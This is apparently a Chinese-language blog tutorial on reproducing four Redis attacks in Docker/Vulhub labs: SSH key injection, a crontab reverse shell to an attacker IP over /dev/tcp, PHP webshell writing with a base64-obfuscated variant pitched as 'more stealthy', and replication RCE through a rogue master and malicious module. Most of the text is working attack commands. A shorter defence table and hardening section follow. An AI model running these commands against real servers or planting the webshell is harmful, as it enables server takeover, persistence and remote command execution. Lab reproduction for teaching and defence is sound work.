从靶场到实战用Docker快速复现Redis四大经典漏洞Redis作为高性能键值数据库在Web应用和大数据场景中广泛应用但其默认配置的安全性常被低估。本文将带您搭建完整的漏洞复现环境通过Docker容器技术实现四大典型攻击场景的快速验证包括SSH密钥注入、Crontab定时任务攻击、Webshell写入以及主从复制RCE漏洞。1. 环境准备与基础配置在开始漏洞复现前需要准备以下实验环境Docker环境推荐使用Docker CE 20.10版本Vulhub靶场GitHub开源的漏洞环境集合测试工具集Redis-cli客户端Nmap端口扫描工具Netcat网络调试工具快速安装Docker和Vulhub的命令如下# Ubuntu/Debian系统 sudo apt-get update sudo apt-get install -y docker.io git git clone https://github.com/vulhub/vulhub.git cd vulhub/redis # CentOS系统 sudo yum install -y docker git systemctl start docker git clone https://github.com/vulhub/vulhub.git提示所有实验应在隔离网络环境中进行避免对生产系统造成影响2. 未授权访问漏洞利用链Redis默认监听6379端口且无认证机制这是大多数攻击的入口点。我们先搭建基础靶场docker run -d -p 6379:6379 --name redis-test redis:5.0验证未授权访问漏洞redis-cli -h 目标IP info # 能获取服务器信息说明存在漏洞2.1 SSH公钥注入攻击当Redis以root权限运行时可写入SSH公钥实现免密登录本地生成密钥对ssh-keygen -t rsa -f redis_key构造并注入公钥(echo -e \n\n; cat redis_key.pub; echo -e \n\n) key.txt cat key.txt | redis-cli -h 目标IP -x set crackit redis-cli -h 目标IP config set dir /root/.ssh config set dbfilename authorized_keys save通过SSH登录ssh -i redis_key root目标IP2.2 Crontab定时任务攻击适用于CentOS系统的持久化控制方法# 攻击机监听端口 nc -lvnp 6666 # Redis执行以下命令 set payload \n* * * * * bash -i /dev/tcp/攻击IP/6666 01\n config set dir /var/spool/cron/ config set dbfilename root save不同系统的crontab路径差异系统类型定时任务路径权限要求CentOS/var/spool/cron/user644Ubuntu/var/spool/cron/crontabs/user6003. Webshell写入技术当目标运行Web服务且已知目录时可植入恶意脚本# 设置Web目录 config set dir /var/www/html/ config set dbfilename shell.php set webshell ?php system($_GET[cmd]); ? save访问http://目标IP/shell.php?cmdid即可执行系统命令。为提高隐蔽性建议使用以下变形?php $xbase64_decode($_GET[x]); system($x); ?4. 主从复制RCE漏洞Redis 4.x-5.x版本的主从同步机制可被利用来加载恶意模块准备攻击环境git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand make启动恶意主节点python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击IP目标Redis执行slaveof 攻击IP 21000 module load ./exp.so system.exec whoami关键防御措施对比攻击类型必要条件防御方案SSH密钥注入Redis以root运行使用低权限账户运行RedisCrontab攻击CentOS系统限制/var/spool/cron目录权限Webshell写入已知Web目录Redis与Web服务隔离部署主从复制RCERedis 4.x-5.x版本升级到6.0版本并启用ACL5. 漏洞防御与加固方案针对上述攻击方式推荐实施以下安全措施网络层防护修改默认6379端口配置防火墙只允许可信IP访问启用SSL/TLS加密通信服务层加固# 配置文件redis.conf关键参数 requirepass ComplexPassword123! protected-mode yes rename-command CONFIG bind 127.0.0.1系统层防护使用专用账户运行Redis服务限制Redis目录写入权限定期审计crontab和authorized_keys文件实战中曾遇到一个案例某企业测试环境因使用默认配置攻击者通过主从复制漏洞在3分钟内就获取了服务器控制权。后来通过以下命令快速检测到异常连接# 查看Redis连接 redis-cli client list # 监控可疑命令 redis-cli monitor | grep -E config|save|flush对于生产环境建议部署Redis官方的ACL访问控制列表功能这是Redis 6.0引入的重要安全特性# 创建管理员账户 ACL SETUSER admin ON AdminPassword123! ~* * all # 创建只读账户 ACL SETUSER reader ON ReadOnlyPass ~* * read